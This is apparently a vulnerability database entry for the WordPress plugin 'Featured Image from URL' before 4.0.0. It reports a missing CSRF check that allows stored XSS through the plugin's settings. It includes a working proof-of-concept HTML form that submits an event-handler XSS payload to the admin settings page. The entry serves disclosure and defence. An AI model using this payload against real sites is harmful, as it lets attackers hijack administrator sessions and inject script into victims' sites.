Lucene search

K
wpexploitRaad Haddad of Cloudyrion GmbHWPEX-ID:8670D196-972B-491B-8D9B-25994A345F57
HistoryJul 11, 2022 - 12:00 a.m.

Featured Image from URL < 4.0.0 - Arbitrary Settings Update to Stored XSS via CSRF

2022-07-1100:00:00
Raad Haddad of Cloudyrion GmbH
166
arbitrary settings update
stored xss
csrf
exploit

EPSS

0.001

Percentile

34.0%

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack. Furthermore, due to the lack of validation, sanitisation and escaping in some of them, it could also lead to Stored XSS issues

<form action="https://example.com/wp-admin/admin.php?page=featured-image-from-url" method="POST">
    <input type="hidden" name="fifu_input_photon" value='on" style=animation-name:rotation onanimationstart=alert(/XSS/)//'/>
    
    <input type="submit" value="Submit request" />
</form>

All settings appear to be affected.

The XSS will be triggered when accessing the settings again

EPSS

0.001

Percentile

34.0%

Related for WPEX-ID:8670D196-972B-491B-8D9B-25994A345F57